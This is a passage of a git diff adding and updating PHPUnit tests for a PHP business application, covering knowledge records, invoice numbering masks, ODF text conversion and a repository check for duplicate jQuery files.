KnowledgeRecord($this->savdb); + $result=$localobject->fetch($id); + + $this->assertLessThan($result, 0); + print __METHOD__." id=".$id." result=".$result."\n"; + return $localobject; + } + + /** + * testKnowledgeRecordUpdate + * @param KnowledgeRecord $localobject KnowledgeRecord + * @return int + * + * @depends testKnowledgeRecordFetch + * The depends says test is run only if previous is ok + */ + public function testKnowledgeRecordUpdate($localobject) + { + global $conf, $user, $langs, $db; + $conf = $this->savconf; + $user = $this->savuser; + $langs = $this->savlangs; + $db = $this->savdb; + + $localobject->note_private='New note private after update'; + $result = $localobject->update($user); + + $this->assertLessThan($result, 0); + print __METHOD__." id=".$localobject->id." result=".$result."\n"; + + return $result; + } + /** * testKnowledgeRecordDelete * * @param int $id Id of object * @return int * - * @depends testKnowledgeRecordCreate + * @depends testKnowledgeRecordUpdate * The depends says test is run only if previous is ok */ public function testKnowledgeRecordDelete($id) diff --git a/test/phpunit/NumberingModulesTest.php b/test/phpunit/NumberingModulesTest.php index b2b6285f9e3..e5d31df1cf7 100644 --- a/test/phpunit/NumberingModulesTest.php +++ b/test/phpunit/NumberingModulesTest.php @@ -1,5 +1,5 @@ +/* Copyright (C) 2012-2023 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -152,6 +152,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1915); // we use year 1915 to be sure to not have existing invoice for this year (usefull only if numbering is {0000@1} $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -165,8 +167,11 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $result=$localobject->is_erasable(); print __METHOD__." is_erasable=".$result."\n"; $this->assertGreaterThanOrEqual(1, $result, 'Test for is_erasable, 1st invoice'); // Can be deleted + $localobject2=new Facture($this->savdb); $localobject2->initAsSpecimen(); + $localobject2->fetch_thirdparty(); + $localobject2->date=dol_mktime(12, 0, 0, 1, 1, 1916); // we use following year for second invoice (there is no reset into mask) $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject2, 'last'); @@ -193,6 +198,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1910); // we use year 1910 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -200,15 +207,21 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $result3=$localobject->validate($user, $result); print __METHOD__." result=".$result."\n"; $this->assertEquals('1910-0001', $result, 'Test for {yyyy}-{0000@1} 1st invoice'); // counter must start to 1 + $localobject2=new Facture($this->savdb); $localobject2->initAsSpecimen(); + $localobject2->fetch_thirdparty(); + $localobject2->date=dol_mktime(12, 0, 0, 1, 1, 1910); // we use same year for second invoice (and there is a reset required) $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject2); print __METHOD__." result=".$result."\n"; $this->assertEquals('1910-0002', $result, 'Test for {yyyy}-{0000@1} 2nd invoice, same day'); // counter must be now 2 + $localobject3=new Facture($this->savdb); $localobject3->initAsSpecimen(); + $localobject3->fetch_thirdparty(); + $localobject3->date=dol_mktime(12, 0, 0, 1, 1, 1911); // we use next year for third invoice (and there is a reset required) $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject3); @@ -218,8 +231,11 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase // Same but we add month after year $conf->global->FACTURE_MERCURE_MASK_CREDIT='{yyyy}{mm}-{0000@1}'; $conf->global->FACTURE_MERCURE_MASK_INVOICE='{yyyy}{mm}-{0000@1}'; + $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1920); // we use year 1920 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -230,8 +246,11 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $result=$localobject->is_erasable(); print __METHOD__." is_erasable=".$result."\n"; $this->assertGreaterThanOrEqual(1, $result); // Can be deleted + $localobject2=new Facture($this->savdb); $localobject2->initAsSpecimen(); + $localobject2->fetch_thirdparty(); + $localobject2->date=dol_mktime(12, 0, 0, 1, 1, 1921); // we use following year for second invoice (and there is a reset required) $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject2); @@ -251,6 +270,7 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $conf->global->FACTURE_MERCURE_MASK_INVOICE='{mm}{yy}-{0000@1}'; $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1925); // we use year 1925 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -261,8 +281,10 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $result=$localobject->is_erasable(); // This call get getNextNumRef with param 'last' print __METHOD__." is_erasable=".$result."\n"; $this->assertGreaterThanOrEqual(1, $result); // Can be deleted + $localobject2=new Facture($this->savdb); $localobject2->initAsSpecimen(); + $localobject2->fetch_thirdparty(); $localobject2->date=dol_mktime(12, 0, 0, 1, 1, 1925); // we use same year 1925 for second invoice (and there is a reset required) $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject2); @@ -276,8 +298,10 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $result=$localobject->is_erasable(); print __METHOD__." is_erasable=".$result."\n"; $this->assertLessThanOrEqual(0, $result); // Case 1 can not be deleted (because there is an invoice 2) + $localobject3=new Facture($this->savdb); $localobject3->initAsSpecimen(); + $localobject3->fetch_thirdparty(); $localobject3->date=dol_mktime(12, 0, 0, 1, 1, 1926); // we use following year for third invoice (and there is a reset required) $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject3); @@ -295,6 +319,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1930); // we use year 1930 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject, 'last'); @@ -311,6 +337,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1930); // we use same year but fiscal month after $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject, 'last'); @@ -324,6 +352,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1931); // we use same fiscal year but different year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -334,6 +364,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1931); // we use different fiscal year but same year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -348,6 +380,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1940); // we use year 1940 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -358,6 +392,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1940); // we use same year but fiscal month after $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -368,6 +404,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1941); // we use same fiscal year but different year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -378,6 +416,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1941); // we use different discal year but same year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -392,6 +432,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1950); // we use year 1950 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -402,6 +444,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1950); // we use same year but fiscal month after $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -412,6 +456,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1951); // we use same fiscal year but different year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -422,6 +468,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1951); // we use different discal year but same year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -436,6 +484,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1960); // we use year 1960 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -446,6 +496,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1960); // we use same year but fiscal month after $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -456,6 +508,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1961); // we use same fiscal year but different year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -466,6 +520,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1961); // we use different discal year but same year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -480,6 +536,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1970); // we use year 1970 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -490,6 +548,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1970); // we use same year but fiscal month after $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -500,6 +560,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1971); // we use same fiscal year but different year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -510,6 +572,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 12, 1, 1971); // we use different fiscal year but same year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -523,6 +587,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1980); // we use year 1980 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -533,6 +599,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1980); // we use year 1980 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -543,6 +611,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 2, 1, 1980); // we use year 1980 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -553,6 +623,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1981); // we use year 1981 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($mysoc, $localobject); @@ -572,6 +644,8 @@ class NumberingModulesTest extends PHPUnit\Framework\TestCase $localobject=new Facture($this->savdb); $localobject->initAsSpecimen(); + $localobject->fetch_thirdparty(); + $localobject->date=dol_mktime(12, 0, 0, 1, 1, 1982); // we use year 1982 to be sure to not have existing invoice for this year $numbering=new mod_facture_mercure(); $result=$numbering->getNextValue($tmpthirdparty, $localobject); diff --git a/test/phpunit/ODFTest.php b/test/phpunit/ODFTest.php new file mode 100644 index 00000000000..fdf31140b11 --- /dev/null +++ b/test/phpunit/ODFTest.php @@ -0,0 +1,379 @@ + + * Copyright (C) 2023 - Thomas Negre - contact@open-dsi.fr + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file test/unit/ODFTest.php + * \ingroup odf + * \brief PHPUnit test for odf class. + */ + +global $conf,$user,$langs,$db; +//define('TEST_DB_FORCE_TYPE','mysql'); // This is to force using mysql driver +//require_once 'PHPUnit/Autoload.php'; +require_once dirname(__FILE__).'/../../htdocs/master.inc.php'; +require_once dirname(__FILE__).'/../../htdocs/includes/odtphp/odf.php'; + +if (empty($user->id)) { + print "Load permissions for admin user nb 1\n"; + $user->fetch(1); + $user->getrights(); +} +$conf->global->MAIN_DISABLE_ALL_MAILS=1; + +$langs->load("main"); + + +/** + * Class for PHPUnit tests + * + * @backupGlobals disabled + * @backupStaticAttributes enabled + * @remarks backupGlobals must be disabled to have db,conf,user and lang not erased. + */ +class ODFTest extends PHPUnit\Framework\TestCase +{ + protected $savconf; + protected $savuser; + protected $savlangs; + protected $savdb; + + /** + * Constructor + * We save global variables into local variables + * + * @return BOMTest + */ + public function __construct() + { + parent::__construct(); + + //$this->sharedFixture + global $conf,$user,$langs,$db; + $this->savconf=$conf; + $this->savuser=$user; + $this->savlangs=$langs; + $this->savdb=$db; + + print __METHOD__." db->type=".$db->type." user->id=".$user->id; + //print " - db ".$db->db; + print "\n"; + } + + /** + * setUpBeforeClass + * + * @return void + */ + public static function setUpBeforeClass() + { + global $conf,$user,$langs,$db; + $db->begin(); // This is to have all actions inside a transaction even if test launched without suite. + + print __METHOD__."\n"; + } + + /** + * tearDownAfterClass + * + * @return void + */ + public static function tearDownAfterClass() + { + global $conf,$user,$langs,$db; + $db->rollback(); + + print __METHOD__."\n"; + } + + /** + * Init phpunit tests + * + * @return void + */ + protected function setUp() + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + print __METHOD__."\n"; + } + + /** + * End phpunit tests + * + * @return void + */ + protected function tearDown() + { + print __METHOD__."\n"; + } + + /** + * test ODF convertVarToOdf + * + * @return int + */ + public function testODFconvertVarToOdf() + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + // we test using template_invoice, it does not matter, we just need a valid odt. + $filename = '../../htdocs/install/doctemplates/invoices/template_invoice.odt'; + $config = [ + 'PATH_TO_TMP' => "/tmp", + 'ZIP_PROXY' => "PclZipProxy", + 'DELIMITER_LEFT' => "{", + 'DELIMITER_RIGHT' => "}", + ]; + + $to_test = [ + /** No HTML **/ + // Simple strings + 1 => [ + 'to_convert' => 'Simple string', + 'encode' => true, + 'charset' => null, + 'expected' => 'Simple string', + ], + 2 => [ + 'to_convert' => 'Simple string', + 'encode' => false, + 'charset' => null, + 'expected' => 'Simple string', + ], + 3 => [ + 'to_convert' => "Simple string\nwith line break", + 'encode' => true, + 'charset' => null, + 'expected' => "Simple stringwith line break", + ], + 4 => [ + 'to_convert' => "Simple string\nwith line break", + 'encode' => false, + 'charset' => null, + 'expected' => "Simple stringwith line break", + ], + // Special chars + 5 => [ + 'to_convert' => 'One&two', + 'encode' => true, + 'charset' => null, + 'expected' => 'One&two', + ], + 6 => [ + 'to_convert' => 'One&two', + 'encode' => false, + 'charset' => null, + 'expected' => 'One&two', + ], + 7 => [ + 'to_convert' => "/a&él'èàüöç€Ğ~<>", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode("/a&él'èàüöç€Ğ~<>"), + ], + 8 => [ + 'to_convert' => "/a&él'èàüöç€Ğ~<>", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode("/a&él'èàüöç€Ğ~<>"), + ], + // special chars with non-default charset + 9 => [ + 'to_convert' => "/a&él'èàüöç€Ğ~<>", + 'encode' => true, + 'charset' => 'UTF-16', + 'expected' => "/a&él'èàüöç€Ğ~<>", + ], + 10 => [ + 'to_convert' => "/a&él'èàüöç€Ğ~<>", + 'encode' => false, + 'charset' => 'UTF-16', // When the charset differs from ISO-8859 string is not converted. + 'expected' => "/a&él'èàüöç€Ğ~<>", + ], + 11 => [ + 'to_convert' => "Greater > than", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode("Greater > than"), + ], + 12 => [ + 'to_convert' => "Greater > than", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode("Greater > than"), + ], + 13 => [ + 'to_convert' => "Smaller < than", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode("Smaller < than"), + ], + 14 => [ + 'to_convert' => "Smaller < than", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode("Smaller < than"), + ], + /** HTML **/ + // break lines + 15 => [ + 'to_convert' => "Break
      line", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode("Breakline"), + ], + 16 => [ + 'to_convert' => "Break
      line", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode("Breakline"), + ], + 17 => [ + 'to_convert' => "Break
      line", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode("Breakline"), + ], + 18 => [ + 'to_convert' => "Break
      line", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode("Breakline"), + ], + // HTML tags + 19 => [ + 'to_convert' => "text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l'", + 'encode' => false, + 'charset' => 'UTF-8', + 'expected' => 'text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l\'', + ], + 20 => [ + 'to_convert' => "text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l'", + 'encode' => true, + 'charset' => 'UTF-8', + 'expected' => 'text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l'', + ], + 21 => [ + 'to_convert' => "text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l'", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode('text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l\''), + ], + 22 => [ + 'to_convert' => "text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l'", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode('text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l''), + ], + 23 => [ + 'to_convert' => "text with intricatedtags", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode('text with intricatedtags'), + ], + + // One can also pass html-encoded string to the method + 24 => [ + 'to_convert' => 'One&two', + 'encode' => true, + 'charset' => null, + 'expected' => 'One&two', + ], + 25 => [ + 'to_convert' => "text with <strong>strong, </strong><em>emphasis</em> and <u>underlined</u> words with <i>it@lic sp&ciàlchärs éè l'</i>", + 'encode' => false, + 'charset' => 'UTF-8', + 'expected' => 'text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l\'', + ], + 26 => [ + 'to_convert' => "text with <strong>strong, </strong><em>emphasis</em> and <u>underlined</u> words with <i>it@lic sp&ciàlchärs éè l'</i>", + 'encode' => true, + 'charset' => 'UTF-8', + 'expected' => 'text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l'', + ], + 27 => [ + 'to_convert' => "text with <strong>strong, </strong><em>emphasis</em> and <u>underlined</u> words with <i>it@lic sp&ciàlchärs éè l'</i>", + 'encode' => false, + 'charset' => null, + 'expected' => utf8_encode('text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l\''), + ], + 28 => [ + 'to_convert' => "text with <strong>strong, </strong><em>emphasis</em> and <u>underlined</u> words with <i>it@lic sp&ciàlchärs éè l'</i>", + 'encode' => true, + 'charset' => null, + 'expected' => utf8_encode('text with strong, emphasis and underlined words with it@lic sp&ciàlchärs éè l''), + ], + + // // TODO custom styles are not tested for now : the custom style have a custom ID based on time. Not random, but hard to mock or predict. generated in _replaceHtmlWithOdtTag() case 'span'. + // [ + // 'to_convert' => '123 trucmachin > truc < troc > tracbla bla', + // 'encode' => true, + // 'charset' => 'UTF-8', + // 'expected' => "123 trucmachin > truc < troc > tracbla bla'", + // ], + + /* Tests that can evolve */ + // Following tests reflect the current behavior. They may evolve if the method behavior changes. + + // The method removes hyperlinks and tags that are not dealt with. + 29 => [ + 'to_convert' => '123 trucmachin > truc < troc > tracbla bla', + 'encode' => true, + 'charset' => null, + 'expected' => "123 trucmachin > truc < troc > tracbla bla", + ], + 30 => [ + 'to_convert' => '123

      Title

      bla', + 'encode' => true, + 'charset' => null, + 'expected' => "123 Title bla", + ], + // HTML should not take \n into account, but only
      . + 31 => [ + 'to_convert' => "text with strong text , a line\nbreak and underlined words with it@lic sp&ciàlchärs éè l'", + 'encode' => false, + 'charset' => 'UTF-8', + 'expected' => 'text with strong text , a line'."\n".'break and underlined words with it@lic sp&ciàlchärs éè l\'', + ], + ]; + + $odf=new Odf($filename, array()); + if (is_object($odf)) $result = 1; // Just to test + + foreach ($to_test as $case) { + if ($case['charset'] !== null) { + $res = $odf->convertVarToOdf($case['to_convert'], $case['encode'], $case['charset']); + } else { + $res = $odf->convertVarToOdf($case['to_convert'], $case['encode']); + } + $this->assertEquals($res, $case['expected']); + } + + print __METHOD__." result=".$result."\n"; + + return $result; + } +} diff --git a/test/phpunit/RepositoryTest.php b/test/phpunit/RepositoryTest.php new file mode 100644 index 00000000000..1df9cbe7aa8 --- /dev/null +++ b/test/phpunit/RepositoryTest.php @@ -0,0 +1,214 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * or see https://www.gnu.org/ + */ + +/** + * \file test/phpunit/RepositoryTest.php + * \ingroup test + * \brief PHPUnit test + * \remarks To run this script as CLI: phpunit filename.php + */ + +global $conf,$user,$langs,$db; +//define('TEST_DB_FORCE_TYPE','mysql'); // This is to force using mysql driver +//require_once 'PHPUnit/Autoload.php'; +require_once dirname(__FILE__).'/../../htdocs/master.inc.php'; +require_once dirname(__FILE__).'/../../htdocs/core/lib/files.lib.php'; + +if (! defined('NOREQUIREUSER')) { + define('NOREQUIREUSER', '1'); +} +if (! defined('NOREQUIREDB')) { + define('NOREQUIREDB', '1'); +} +if (! defined('NOREQUIRESOC')) { + define('NOREQUIRESOC', '1'); +} +if (! defined('NOREQUIRETRAN')) { + define('NOREQUIRETRAN', '1'); +} +if (! defined('NOCSRFCHECK')) { + define('NOCSRFCHECK', '1'); +} +if (! defined('NOTOKENRENEWAL')) { + define('NOTOKENRENEWAL', '1'); +} +if (! defined('NOREQUIREMENU')) { + define('NOREQUIREMENU', '1'); // If there is no menu to show +} +if (! defined('NOREQUIREHTML')) { + define('NOREQUIREHTML', '1'); // If we don't need to load the html.form.class.php +} +if (! defined('NOREQUIREAJAX')) { + define('NOREQUIREAJAX', '1'); +} +if (! defined("NOLOGIN")) { + define("NOLOGIN", '1'); // If this page is public (can be called outside logged session) +} + +if (empty($user->id)) { + print "Load permissions for admin user nb 1\n"; + $user->fetch(1); + $user->getrights(); +} +$conf->global->MAIN_DISABLE_ALL_MAILS=1; + + +/** + * Class for PHPUnit tests + * + * @backupGlobals disabled + * @backupStaticAttributes enabled + * @remarks backupGlobals must be disabled to have db,conf,user and lang not erased. + */ +class RepositoryTest extends PHPUnit\Framework\TestCase +{ + protected $savconf; + protected $savuser; + protected $savlangs; + protected $savdb; + + /** + * Constructor + * We save global variables into local variables + * + * @return SecurityTest + */ + public function __construct() + { + parent::__construct(); + + //$this->sharedFixture + global $conf,$user,$langs,$db; + $this->savconf=$conf; + $this->savuser=$user; + $this->savlangs=$langs; + $this->savdb=$db; + + print __METHOD__." db->type=".$db->type." user->id=".$user->id; + //print " - db ".$db->db; + print "\n"; + } + + /** + * setUpBeforeClass + * + * @return void + */ + public static function setUpBeforeClass(): void + { + global $conf,$user,$langs,$db; + $db->begin(); // This is to have all actions inside a transaction even if test launched without suite. + + print __METHOD__."\n"; + } + + /** + * tearDownAfterClass + * + * @return void + */ + public static function tearDownAfterClass(): void + { + global $conf,$user,$langs,$db; + $db->rollback(); + + print __METHOD__."\n"; + } + + /** + * Init phpunit tests + * + * @return void + */ + protected function setUp(): void + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + print __METHOD__."\n"; + } + + /** + * End phpunit tests + * + * @return void + */ + protected function tearDown(): void + { + print __METHOD__."\n"; + } + + + /** + * testJqueryOnce + * + * @return void + * + * The depends says test is run only if previous is ok + */ + public function testJqueryOnce() + { + global $conf,$user,$langs,$db; + + // Scan dir to guarante we don't have library jquery twice + $foundfiles=dol_dir_list(DOL_DOCUMENT_ROOT.'/includes/', 'files', 1, '^jquery\.js', array('ckeditor')); + print __METHOD__." count(founddirs)=".count($foundfiles)."\n"; + $this->assertEquals(1, count($foundfiles), 'We found jquery lib (jquery.js) twice'); + + // Scan dir to guarante we don't have library jquery twice + $foundfiles=dol_dir_list(DOL_DOCUMENT_ROOT.'/includes/', 'files', 1, '^jquery\.min\.js', array('ckeditor')); + print __METHOD__." count(founddirs)=".count($foundfiles)."\n"; + $this->assertEquals(1, count($foundfiles), 'We found jquery lib (jquery.min.js) twice '.(empty($foundfiles[0]) ? '' : $foundfiles[0]['fullname']).' '.(empty($foundfiles[1]) ? '' : $foundfiles[1]['fullname'])); + } + + + /** + * testRepository + * + * @return string + */ + public function testRepository() + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + $filesarray = dol_dir_list(DOL_DOCUMENT_ROOT, 'directories', 1, '', array('\/custom\/'), 'fullname', SORT_ASC, 0, 1, '', 1); + //$filesarray = dol_dir_list(DOL_DOCUMENT_ROOT, 'files', 1, '\.php', null, 